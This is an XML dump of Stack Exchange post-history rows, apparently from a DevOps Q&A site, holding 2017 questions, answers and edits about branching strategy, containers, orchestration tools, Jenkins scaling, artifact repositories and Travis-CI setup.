  <row Id="1383" PostHistoryTypeId="2" PostId="444" RevisionGUID="0d1d414d-52b8-4559-9f4a-ca4695046dc4" CreationDate="2017-03-09T03:55:35.387" UserId="47" Text="The simplest/cleanest branch strategy is IMHO the one used in **continuous deployment**: a single/main integration branch which is also your release branch. From [What is Your Branching Model?][1]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][2]][2]&#xD;&#xA;&gt; &#xD;&#xA;&gt; Commits can go all the way to production from one trunk/master, if the&#xD;&#xA;&gt; automated build says the commit was good. It’s the turbo-switch for&#xD;&#xA;&gt; TBD, where no humans can hold up a release by taking their sweet time&#xD;&#xA;&gt; testing it and giving a belated seal of approval. Github, Etsy,&#xD;&#xA;&gt; Netflix (and many more startups) are all here.&#xD;&#xA;&#xD;&#xA;You'll effectively use the CI build artifacts from that main branch across all environments. Well, as long they build and pass the respective QA verifications, obviously.&#xD;&#xA;&#xD;&#xA;**Note:** there are no feature branches in this strategy, at least not long-lived ones - in order to eliminate/minimize the integration delays and costs. Practically you can eliminate branch merges from your development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paulhammant.com/2013/12/04/what_is_your_branching_model/&#xD;&#xA;  [2]: https://i.stack.imgur.com/YKaMq.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1384" PostHistoryTypeId="5" PostId="443" RevisionGUID="757a2708-8c7d-402b-aae9-8645b8d5be67" CreationDate="2017-03-09T05:21:04.907" UserId="491" Comment="added 19 characters in body; edited title" Text="What are the main feature differences the popular container orchestration tools kubernetes, rancher, and mesos?&#xA;&#xA;What would lead you to choose one over the other?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1385" PostHistoryTypeId="4" PostId="443" RevisionGUID="757a2708-8c7d-402b-aae9-8645b8d5be67" CreationDate="2017-03-09T05:21:04.907" UserId="491" Comment="added 19 characters in body; edited title" Text="What functional differences are there between kubernetes, rancher, and mesos?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1386" PostHistoryTypeId="2" PostId="445" RevisionGUID="0b2a6dde-53f6-42dc-aee6-ab913bf07ca0" CreationDate="2017-03-09T05:56:57.253" UserId="47" Text="The embedded software world often uses build-time flags, in the app code itself (`#define`/`#ifdef` statements, for example) and/or in build tools configuration files (`makefile`'s, for example). &#xD;&#xA;&#xD;&#xA;Build flags can be used, in similar manner, not only for features, but also for all kinds of code refactoring, migrations, debug support, etc).&#xD;&#xA;They allow committing in the integration branch partial or unverified changes without breaking the build or causing regressions in the features/projects already working in the branch. &#xD;&#xA;Excellent for handling point fixes alongside large/risky/slow progress changes (which would otherwise require a long-lived branch) in a continuous integration manner.&#xD;&#xA;&#xD;&#xA;But in addition to verifying the already existing branch code for regressions, it's also possible to perform progress/stability verifications of the new code. For this the build-time flags need to be toggled.&#xD;&#xA;&#xD;&#xA;One way of toggling the flags would be to use, in a separate verification pipeline of the CI system of the same branch (if it has support for such functionality), a patchfile toggling the flag - to be applied to a separate workspace prior to the build. A different set of artifacts would be built in this workspace and then verified.&#xD;&#xA;&#xD;&#xA;Alternatively a long-lived feature branch can be pulled from the main integration branch, but the only change in this feature branch would be the toggled flag. Due to this tiny change the feature branch can be automatically sync'd extremely fast - practically shadowing very closely the main integration branch. A separate CI execution on this branch would not need a preliminary patchfile anymore. It'd be trivial to carry around such feature branch even for an extended period of time.&#xD;&#xA;&#xD;&#xA;It may also be possible to create, in the main integration branch, new build artifacts which would really be just clones of the existing build artifacts but with the flags toggled. This way neither the preliminary patchfile nor the feature branch would be necessary to verify the new code, right in the main branch." ContentLicense="CC BY-SA 3.0" />
  <row Id="1387" PostHistoryTypeId="5" PostId="393" RevisionGUID="a445ca0c-bb60-42d3-a8bc-c12297ee534c" CreationDate="2017-03-09T06:14:36.297" UserId="47" Comment="fixed grammar" Text="The very first thing to know about a container is:&#xD;&#xA;&#xD;&#xA;It is, first and foremost, a ***process.***&#xD;&#xA;&#xD;&#xA;Once that is understood, one can start to understand how containers compare and contrast with virtual machines.  Containers and VMs both share *isolation* from their hosts.  The method of isolation is the critical difference.&#xD;&#xA;&#xD;&#xA;Container processes use extensions to the OS kernel host on which they run to isolate themselves from other processes.  Other extensions also provide disk and resource isolation.  Containers *share* their kernel and memory with the host OS.&#xD;&#xA;&#xD;&#xA;Virtual Machines use a *hypervisor* to isolate VMs from their hosts.  This is a layer of software that forwards requests for resources from &quot;guests&quot; (VMs) to the hardware.  Disk isolation is provided by disk virtualization.  VMs *do not* share a kernel with the host- they load their own kernels into memory space dedicated to the VM.&#xD;&#xA;&#xD;&#xA;One important impact of this difference is that a container must be kernel-compatible with its host.  For example, it is not possible to run a Windows Nano Server-based container on a Linux host, or an Ubuntu container directly on a Windows host.  Virtual Machines, by contrast, can run any kernel regardless of host OS.  When running a Linux container on a Windows host, Docker runs the container in a Linux VM.&#xD;&#xA;&#xD;&#xA;The operational differences are in agility: containers start and stop about as fast as a normal process.  VMs are &quot;heavier,&quot; requiring dedicated resources set aside for them and take longer to start and shut down.&#xD;&#xA;&#xD;&#xA;Containers offer a lot of flexibility to a DevOps operating model:&#xD;&#xA;&#xD;&#xA;-  Containers isolate software component dependencies.  Developers can use containers to guarantee that an application module will function as well on their development machines as in QA/UA/Production&#xD;&#xA;-  Containers use software-defined networking to communicate&#xD;&#xA;-  Container definitions are declarative and can be source-controlled&#xD;&#xA;-  Container management systems (Kubernetes, DC/OS, Swarm) can manage hardware resource (compute/RAM/storage) pools and dynamically scale containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="1388" PostHistoryTypeId="2" PostId="446" RevisionGUID="9cc43575-4354-4ef8-8387-b7ac60c54be7" CreationDate="2017-03-09T06:20:52.143" UserId="201" Text="First of all, Rancher actually contains implementations of both Kubernetes *and* Mesos within itself. However, they did make their own system called Cattle which is heavily based on Docker's Swarm. I'll touch upon this in the section for Rancher.&#xD;&#xA;&#xD;&#xA;Secondly, since each one offers similar base features (load balancing, resource isolation, etc) I'll try to go more into what makes them different rather than focusing on differences among those common features unless they're significant.&#xD;&#xA;&#xD;&#xA;# Kubernetes&#xD;&#xA;Highly performance focused, also featuring cloud storage orchestration (a feature missing from Mesos, although there's probably a plugin for it). Has API options to allow for automated scaling of resource usage as needed by individual containers (and for the reverse if a container is not being hit hard while others are). &#xD;&#xA;&#xD;&#xA;Something important about Kubernetes is that unlike other container orchestration software it doesn't provide a comprehensive  configuration or any kind of comprehensive self-healing. Instead, it focuses on continuous deployment of multiple apps with an easy rollback system at the app level (as a result you might want to look into micro-services when using it).&#xD;&#xA;&#xD;&#xA;Each app is a small piece and can be deployed/configured individually. They make a point in their docs to say that Kubernetes is not a traditional PaaS (platform as a service) system since it lacks middleware for virtual hardware or databases and it doesn't build your app itself. It's designed to (as they say themselves) remove the need for manual container orchestration, instead automating the process by continuously pressing towards a target app state.&#xD;&#xA;&#xD;&#xA;# Mesos&#xD;&#xA;Monolithic in comparison to Kubernetes. Focuses on the big picture moreso than the individual services, although it still allows for management of individual services. Provides built-in middleware for things like Spark, Hadoop, etc. Best usage of Mesos will involve many plugins as it's designed to be easily extended. &#xD;&#xA;&#xD;&#xA;If you need fine-grained control over managing your application (insofar as there's a plugin available for what you want to do or you have a team member willing to build one if there isn't) you'll want to use Mesos.&#xD;&#xA;&#xD;&#xA;# Rancher (and Cattle)&#xD;&#xA;Potentially the best option in that it is itself a superset of the previous two, having an implementation of both. This might also be seen as a downside as more complication in your management software is rarely a good thing and might lead to unforeseen issues. &#xD;&#xA;&#xD;&#xA;Rancher features an [application catalog][1] that allows for one-click deployment, something Kubernetes doesn't have due to its design philosophy.  However, seeing as Rancher has an implementation of Kubernetes, you can use Rancher if you feel these features are missing from Kubernetes.&#xD;&#xA;&#xD;&#xA;Cattle is based off of a stack system, where you group related services together. It also houses Rancher Compose, a feature similar to the Docker service of the same name. This is probably the most interesting part of Cattle, the rest of it being fairly standard (although the Secret management is still in beta). If you have experience with Docker Compose you should read up on it [here][2] (I don't, so I'm probably not the best person to write about it).&#xD;&#xA;&#xD;&#xA;Resources: &quot;[What is Kubernetes?][3]&quot;, &quot;[Overview of Rancher][4]&quot;, &quot;[mesos.apache.org: 'What is Mesos?'][5]&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rancher.com/catalog-items&#xD;&#xA;  [2]: http://docs.rancher.com/rancher/v1.5/en/cattle/rancher-compose/&#xD;&#xA;  [3]: https://kubernetes.io/docs/whatisk8s/&#xD;&#xA;  [4]: https://docs.rancher.com/rancher/v1.5/en/&#xD;&#xA;  [5]: http://mesos.apache.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1389" PostHistoryTypeId="2" PostId="447" RevisionGUID="1ac4a124-137a-4502-805e-89d30ca7df5a" CreationDate="2017-03-09T06:30:20.410" UserId="6" Text="In many blog posts, and general opinion, there is a saying that goes &quot;one process per container&quot;.&#xD;&#xA;&#xD;&#xA;Why does this rule exist?&#xD;&#xA;Why not run ntp, nginx, uwsgi and more processes in a single container that needs to have all processes to work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1390" PostHistoryTypeId="1" PostId="447" RevisionGUID="1ac4a124-137a-4502-805e-89d30ca7df5a" CreationDate="2017-03-09T06:30:20.410" UserId="6" Text="Why it is recommended to run only one process in a container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1391" PostHistoryTypeId="3" PostId="447" RevisionGUID="1ac4a124-137a-4502-805e-89d30ca7df5a" CreationDate="2017-03-09T06:30:20.410" UserId="6" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1392" PostHistoryTypeId="5" PostId="434" RevisionGUID="c683025a-26ab-40b0-9681-2eaf91aa56fb" CreationDate="2017-03-09T06:32:16.623" UserId="6" Comment="clarify distribution license" Text="No. Because you [cannot distribute Oracle JDK or JRE, the license in effect doesn't allow distribution][1]. When distributed by a third party (embedded with your app) all the liability for it not working is on that party. This is why you will not find Oracle JDK/JRE on any of the public Docker registries, or in any Linux package repositories for that matter.&#xD;&#xA;&#xD;&#xA;You can create your own image, and install Oracle JDK or JRE using the [webupd8team/java][2] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;And if you are using Alpine Linux [this blog post][3] explains which dependencies are required, and [links to StackOverflow][4] for installation instructions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/technetwork/java/javase/terms/license/index.html&#xD;&#xA;  [2]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [3]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 3.0" />
  <row Id="1393" PostHistoryTypeId="5" PostId="447" RevisionGUID="77626f9c-1173-49c8-95c1-92301a19c689" CreationDate="2017-03-09T06:51:27.150" UserId="6" Comment="add some reference to places that mention this ideology" Text="In many blog posts, and general opinion, there is a saying that goes &quot;one process per container&quot;.&#xD;&#xA;&#xD;&#xA;Why does this rule exist?&#xD;&#xA;Why not run ntp, nginx, uwsgi and more processes in a single container that needs to have all processes to work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;blog posts mentioning this rule:&#xD;&#xA;&#xD;&#xA;* [&quot;Single-­process-­per-­container is a recommended design pattern for Docker applications.&quot;][1]&#xD;&#xA;* [&quot;Docker is only for creating single-process or single-service containers.&quot;][2]&#xD;&#xA;* [&quot;better to use one process per container&quot;][3]&#xD;&#xA;* [&quot;Run a single service as a container&quot;][4]&#xD;&#xA;* [&quot;One process per container&quot;][5]&#xD;&#xA;* [&quot;one process per container&quot;][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://runnable.com/docker/rails/run-multiple-processes-in-a-container&#xD;&#xA;  [2]: https://blog.codeship.com/using-honcho-create-multi-process-docker-container/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/30003338/docker-one-process-per-container&#xD;&#xA;  [4]: https://blog.risingstack.com/operating-system-containers-vs-application-containers/&#xD;&#xA;  [5]: https://getcarina.com/docs/best-practices/container-design-philosophy/&#xD;&#xA;  [6]: https://github.com/docker/docker.github.io/pull/1418" ContentLicense="CC BY-SA 3.0" />
  <row Id="1394" PostHistoryTypeId="5" PostId="277" RevisionGUID="9c6424c3-b4ea-4051-b0b1-c8f3633fd76f" CreationDate="2017-03-09T07:50:29.017" UserId="460" Comment="fixed grammar, removed broken link" Text="I am trying to integrate my project coded in core **PHP**, with **Travis-CI** but it always fails.&#xD;&#xA;&#xD;&#xA;Travis reports a failure even when I have only one file in my project.&#xD;&#xA;&#xD;&#xA;## PHP file Code :&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    &#xD;&#xA;    phpinfo();&#xD;&#xA;    &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;##`.travis.yml` File Code&#xD;&#xA;&#xD;&#xA;    language: php&#xD;&#xA;    php:&#xD;&#xA;      - '5.4'&#xD;&#xA;      - '5.5'&#xD;&#xA;      - '5.6'&#xD;&#xA;      - '7.0'&#xD;&#xA;      - '7.1'&#xD;&#xA;      - hhvm&#xD;&#xA;      - nightly&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1395" PostHistoryTypeId="4" PostId="277" RevisionGUID="9c6424c3-b4ea-4051-b0b1-c8f3633fd76f" CreationDate="2017-03-09T07:50:29.017" UserId="460" Comment="fixed grammar, removed broken link" Text="Problem in integrating Travis-CI with core PHP projects" ContentLicense="CC BY-SA 3.0" />
  <row Id="1396" PostHistoryTypeId="24" PostId="277" RevisionGUID="9c6424c3-b4ea-4051-b0b1-c8f3633fd76f" CreationDate="2017-03-09T07:50:29.017" Comment="Proposed by 460 approved by 40, 46 edit id of 131" ContentLicense="CC BY-SA 3.0" />
  <row Id="1397" PostHistoryTypeId="2" PostId="448" RevisionGUID="db471e91-66cc-4795-a943-291f8650b542" CreationDate="2017-03-09T08:59:14.877" UserId="13" Text="The recommendation comes from the goal and design of the [Operating-system-level virtualization](https://en.wikipedia.org/wiki/Operating-system-level_virtualization)&#xD;&#xA;&#xD;&#xA;Containers have been designed to isolate a process for others by giving it its own [userspace](https://en.wikipedia.org/wiki/User_space) and filesystem.  &#xD;&#xA;This is the logical evolution of `chroot` which was providing an isolated filesystem, the next step was isolating processes from the others to avoid memory overwrites and allowing to use the same resource (I.e TCP port 8080 for example) from multiple processes without conflicts.  &#xD;&#xA;&#xD;&#xA;The main interest in a container it to package the needed library for the process without worrying about version conflicts.&#xD;&#xA;If you run multiples processes needing two versions of the same library in the same userspace and filesystem, you'd had to tweak at least LDPATH for each process so the proper library is found first, and some libraries can't be tweaked this way, because their path is hard coded in the executable at compilation time, see [this SO question](http://stackoverflow.com/questions/847179/multiple-glibc-libraries-on-a-single-host) for more details.  &#xD;&#xA;At the network level you'll have to configure each process to avoid using the same ports. &#xD;&#xA;&#xD;&#xA;Running multiple processes in the same container require some heavy tweaking and at the end of the day defeat the purpose of isolation, if you are ok to run multiples processes within the same userspace, sharing the same filesytem and network resources, then why not running them on the host itself ?&#xD;&#xA;&#xD;&#xA;Finally when you have multiple processes you're reproducing an OS, and in this case using a hardware virtualization sounds more in line with this need." ContentLicense="CC BY-SA 3.0" />
  <row Id="1398" PostHistoryTypeId="6" PostId="387" RevisionGUID="fd2614b7-4664-47b6-af13-cfb4af12f0f3" CreationDate="2017-03-09T09:07:45.263" UserId="31" Comment="edited tags" Text="&lt;metrics&gt;&lt;systems&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1399" PostHistoryTypeId="2" PostId="449" RevisionGUID="7e2b6233-0e13-4572-971f-534186b7f303" CreationDate="2017-03-09T10:19:25.910" UserId="615" Text="In my project we have one AWS server running Jenkins Master + 1 Jenkins slave (2 executors)... and we need more  :-)&#xD;&#xA;In order to augment our build power we have three options&#xD;&#xA;&#xD;&#xA;A) **Scale up**: Make AWS instance bigger and add more executors.&#xD;&#xA;B) **Scale up**: Make AWS instance bigger and add another jenkins slave process.&#xD;&#xA;C) **Scale out**: Create another AWS instance with a jenkins slave and connect it to master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We want to do B) as we are in a big organization and our current Jenkins Master has already access to every place he needs. Option C) &quot;New server&quot; is complicated as it needs more bureaucratic approvals that will take weeks.&#xD;&#xA;&#xD;&#xA;So my questions are:&#xD;&#xA;&#xD;&#xA; 1. **Is there any technical issues in option B?**. Maybe the executors of each jenkins slave are not aware of the other slave executors?&#xD;&#xA; 2. In general, **what is the best approach to scale Jenkins?** Scaling up or scaling out?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1400" PostHistoryTypeId="1" PostId="449" RevisionGUID="7e2b6233-0e13-4572-971f-534186b7f303" CreationDate="2017-03-09T10:19:25.910" UserId="615" Text="How to scale properly Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1401" PostHistoryTypeId="3" PostId="449" RevisionGUID="7e2b6233-0e13-4572-971f-534186b7f303" CreationDate="2017-03-09T10:19:25.910" UserId="615" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1402" PostHistoryTypeId="5" PostId="449" RevisionGUID="384e6c9b-60fd-4698-a1d6-30d3d012952f" CreationDate="2017-03-09T10:53:17.970" UserId="184" Comment="Improved formatting, improved title grammar, removed emoticon" Text="In my project we have one AWS server running Jenkins Master + 1 Jenkins slave (2 executors)... and we need more  &#xD;&#xA;In order to augment our build power we have three options:&#xD;&#xA;&#xD;&#xA;1. **Scale up**: Make AWS instance bigger and add more executors.&#xD;&#xA;2. **Scale up**: Make AWS instance bigger and add another jenkins slave process.&#xD;&#xA;3. **Scale out**: Create another AWS instance with a jenkins slave and connect it to master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We want to do 2. as we are in a big organization and our current Jenkins Master has already access to every place he needs. Option 3. &quot;New server&quot; is complicated as it needs more bureaucratic approvals that will take weeks.&#xD;&#xA;&#xD;&#xA;So my questions are:&#xD;&#xA;&#xD;&#xA; * **Is there any technical issues in option 2?**. Maybe the executors of each jenkins slave are not aware of the other slave executors?&#xD;&#xA; * In general, **what is the best approach to scale Jenkins?** Scaling up or scaling out?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1403" PostHistoryTypeId="4" PostId="449" RevisionGUID="384e6c9b-60fd-4698-a1d6-30d3d012952f" CreationDate="2017-03-09T10:53:17.970" UserId="184" Comment="Improved formatting, improved title grammar, removed emoticon" Text="How to properly scale Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1404" PostHistoryTypeId="24" PostId="449" RevisionGUID="384e6c9b-60fd-4698-a1d6-30d3d012952f" CreationDate="2017-03-09T10:53:17.970" Comment="Proposed by 184 approved by 13, 615 edit id of 132" ContentLicense="CC BY-SA 3.0" />
  <row Id="1406" PostHistoryTypeId="2" PostId="450" RevisionGUID="8f12610e-90b2-4410-927a-a4d9548ed9bd" CreationDate="2017-03-09T14:50:56.233" UserId="72" Text="As in most cases, it's not all-or-nothing.  The guidance of &quot;one process per container&quot; stems from the idea that containers should serve a distinct purpose.  For example, a container should not be both a web application *and* a Redis server.&#xD;&#xA;&#xD;&#xA;There are cases where it makes sense to run multiple processes in a single container, as long as both processes support a single, modular function." ContentLicense="CC BY-SA 3.0" />
  <row Id="1408" PostHistoryTypeId="2" PostId="451" RevisionGUID="2675ed70-b577-4cfa-b51f-f21d5510273b" CreationDate="2017-03-09T15:30:06.530" UserId="637" Text="Lets forget the high-level architectural and philosophical arguments for a moment. While there may be some edge cases where multiple functions in a single container may make sense, there are very practical reasons why you may want to consider following &quot;one function per container&quot; as a rule of thumb:&#xD;&#xA;&#xD;&#xA;- Scaling containers horizontally is much easier if the container is isolated to a single function. Need another apache container? Spin one up somewhere else. However if my apache container also has my DB, cron and other pieces shoehorned in, this complicates things.&#xD;&#xA;- Having a single function per container allows the container to be easily re-used for other projects or purposes. &#xD;&#xA;- It also makes it more portable and predictable for devs to pull down a component from production to troubleshoot locally rather than an entire application environment.&#xD;&#xA;- Patching/upgrades (both the OS and the application) can be done in a more isolated and controlled manner. Juggling multiple bits-and-bobs in your container not only makes for larger images, but also ties these components together. Why have to shut down application X and Y just to upgrade Z?&#xD;&#xA; - Above also holds true for code deployments and rollbacks. &#xD;&#xA;- Splitting functions out to multiple containers allows more flexibility from a security and isolation perspective. You may want (or require) services to be isolated on the network level -- either physically or within overlay networks -- to maintain a strong security posture or comply with things like PCI. &#xD;&#xA;- Other more minor factors such as dealing with stdout/stderr and sending logs to the container log, keeping containers as ephemeral as possible etc.&#xD;&#xA;&#xD;&#xA;Note that I'm saying function, not process. That language is outdated. The official docker documentation [has moved away][1] from saying &quot;one process&quot; to instead recommending &quot;one concern&quot; per container. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#general-guidelines-and-recommendations" ContentLicense="CC BY-SA 3.0" />
  <row Id="1409" PostHistoryTypeId="2" PostId="452" RevisionGUID="973780e7-5a51-4383-9e36-1f7685b34a86" CreationDate="2017-03-09T15:59:18.623" UserId="72" Text="What is an artifact repository?  If it's just a place to store files, can't I just use a source control system?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1410" PostHistoryTypeId="1" PostId="452" RevisionGUID="973780e7-5a51-4383-9e36-1f7685b34a86" CreationDate="2017-03-09T15:59:18.623" UserId="72" Text="What is an artifact repository?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1411" PostHistoryTypeId="3" PostId="452" RevisionGUID="973780e7-5a51-4383-9e36-1f7685b34a86" CreationDate="2017-03-09T15:59:18.623" UserId="72" Text="&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1412" PostHistoryTypeId="2" PostId="453" RevisionGUID="5d327223-fafa-4035-8d6f-189129c15caf" CreationDate="2017-03-09T16:13:04.370" UserId="27" Text="While you could potentially use a source control system to store your build artifacts, it's usually inefficient, as source control systems are designed to handle source codes, where differences between versions can be stored effectively.&#xD;&#xA;&#xD;&#xA;Artifact repositories however are more designed to store various files, including binary ones. They also help managing your binary releases using various additional functions, like:&#xD;&#xA;&#xD;&#xA;* Versioning support&#xD;&#xA;* Retention information (e.g. how many builds to store)&#xD;&#xA;* Access control for the different artifacts&#xD;&#xA;* Promotion to handle promoting artifacts&#xD;&#xA;* Act as a native repository for the artifacts (e.g. can act as a mvn registry, docker registry, rugygems server, etc.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1413" PostHistoryTypeId="5" PostId="453" RevisionGUID="0478553e-5ebf-4364-bdac-3bd739b50be2" CreationDate="2017-03-09T16:18:07.877" UserId="27" Comment="added 418 characters in body" Text="While you could potentially use a source control system to store your build artifacts, it's usually massively inefficient, as source control systems are designed to handle source codes, and not binary files. You might be able to use them, if most of your releases are text based, and you don't have to store a lot of binary files.&#xD;&#xA;&#xD;&#xA;Artifact repositories however are more designed to store all kinds of files, including binary ones. This includes anything from zipped up source codes, to build results, to things like docker containers as well.&#xD;&#xA;&#xD;&#xA;Also, apart from storing these artifacts, they also help managing them using various additional functions, for example:&#xD;&#xA;&#xD;&#xA;* Versioning support: properly store some metadata, like when each artifact was built, what their version number is, store their hashes, etc.&#xD;&#xA;* Retention: make sure you only keep the important artifacts, and automatically delete ones that are only snapshots / not needed anymore, etc. based on various criteria you can set up&#xD;&#xA;* Access control: set up who can publish and who can download the various artifacts&#xD;&#xA;* Promotion: ability to promote artifacts. For example you can have snapshot artifacts with a short retention period on a server near your coders, and a separate repository near the live servers, where only artifacts that have been deemed deployable appear.&#xD;&#xA;* Act as a native repository for the artifacts. Meaning you can use it as the main repository for maven, rubygems, docker, etc. This can also include caching of artifacts from the official repositories as well." ContentLicense="CC BY-SA 3.0" />
  <row Id="1414" PostHistoryTypeId="6" PostId="452" RevisionGUID="1aae06b0-7d00-4ebd-b4ff-efa01cedfa35" CreationDate="2017-03-09T16:19:11.013" UserId="47" Comment="added relevant tag" Text="&lt;terminology&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1415" PostHistoryTypeId="2" PostId="454" RevisionGUID="364fcaf1-99d2-4751-98a8-07d18922ed12" CreationDate="2017-03-09T16:25:41.107" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1416" PostHistoryTypeId="1" PostId="454" RevisionGUID="364fcaf1-99d2-4751-98a8-07d18922ed12" CreationDate="2017-03-09T16:25:41.107" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1417" PostHistoryTypeId="2" PostId="455" RevisionGUID="7c60b714-92eb-40a8-ac13-478d20d59a8d" CreationDate="2017-03-09T16:25:41.107" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1418" PostHistoryTypeId="1" PostId="455" RevisionGUID="7c60b714-92eb-40a8-ac13-478d20d59a8d" CreationDate="2017-03-09T16:25:41.107" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1419" PostHistoryTypeId="2" PostId="456" RevisionGUID="40816b7c-c19e-467e-a8ef-c804874d70cb" CreationDate="2017-03-09T16:49:35.503" UserId="47" Text="There are no *fundamental* technical issues with running multiple jenkins slave on the same machine. In fact [Running Multiple Slaves on the Same Machine][1] lists several good reasons for which doing it:&#xD;&#xA;&#xD;&#xA;&gt; While the correct use of executors largely obviates the need for&#xD;&#xA;&gt; multiple slave instances on the same machine, there are some unique&#xD;&#xA;&gt; use cases to consider:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - You want more configurability between the configured nodes. Say you have one node set to be used as much as possible, and the other node&#xD;&#xA;&gt; to be used only when needed.&#xD;&#xA;&gt; - You may have multiple Jenkins master installations building different things, and so this configuration would allow you to have&#xD;&#xA;&gt; slaves for more than one master on the same box. That's right, with&#xD;&#xA;&gt; Jenkins you really can serve two masters.&#xD;&#xA;&gt; - You may wish to leverage the easiness of starting/stopping/replacing virtual machines, perhaps in conjunction with Jenkins plugins such as&#xD;&#xA;&gt; the [Libvirt Slaves Plugin][3].&#xD;&#xA;&gt; - You wish to maximize your hardware investment and utilization, at the same time minimizing operating cost (e.g. utility expenses for&#xD;&#xA;&gt; running idling slaves).&#xD;&#xA;&#xD;&#xA;*In general* scaling out is preferred, primarily because ability to scale up is typically limited by the types/sizes of the available physical resources.&#xD;&#xA;&#xD;&#xA;In particular for augmenting build power I'd recommend an analysis of your **actual** build  to determine how it uses the machine resources, which/where its bottlenecks are and what scalability limitations it raises to reveal if scaling up even helps. &#xD;&#xA;&#xD;&#xA;For example I encountered cases in which the build time for 2 parallel builds on the same machine was longer than the combined build times of the same 2 builds executed sequentially (non-overlapping) on the same machine. In such case I wouldn't even consider scaling up as it would actually *decrease* the overall building capacity.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Distributed+builds#Distributedbuilds-RunningMultipleSlavesontheSameMachine&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Libvirt+Slaves+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="1420" PostHistoryTypeId="2" PostId="457" RevisionGUID="8ced54f0-1c85-4827-8057-8797f1d0b653" CreationDate="2017-03-09T16:50:14.523" UserId="53" Text="i am attempting to trigger a parameterized jenkins build from Bamboo, doing the below .&#xD;&#xA;&#xD;&#xA;POST - &#xD;&#xA;http://jenkins-url.com/job/jobname/buildWithParameters?ENVIRONMENT=dev&amp;APPLICATION=hello-world&#xD;&#xA;&#xD;&#xA;but i will get a 201 instantly which tells me that the build was created, how do I make this request wait and return the success status of the build instead of the fire and forget? its apparently possible as per.. &#xD;&#xA;&#xD;&#xA;https://github.com/morficus/Parameterized-Remote-Trigger-Plugin&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lcoWp.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1421" PostHistoryTypeId="1" PostId="457" RevisionGUID="8ced54f0-1c85-4827-8057-8797f1d0b653" CreationDate="2017-03-09T16:50:14.523" UserId="53" Text="How to not &quot;fire and forget&quot; when doing a remote trigger of a Jenkins build" ContentLicense="CC BY-SA 3.0" />
  <row Id="1422" PostHistoryTypeId="3" PostId="457" RevisionGUID="8ced54f0-1c85-4827-8057-8797f1d0b653" CreationDate="2017-03-09T16:50:14.523" UserId="53" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
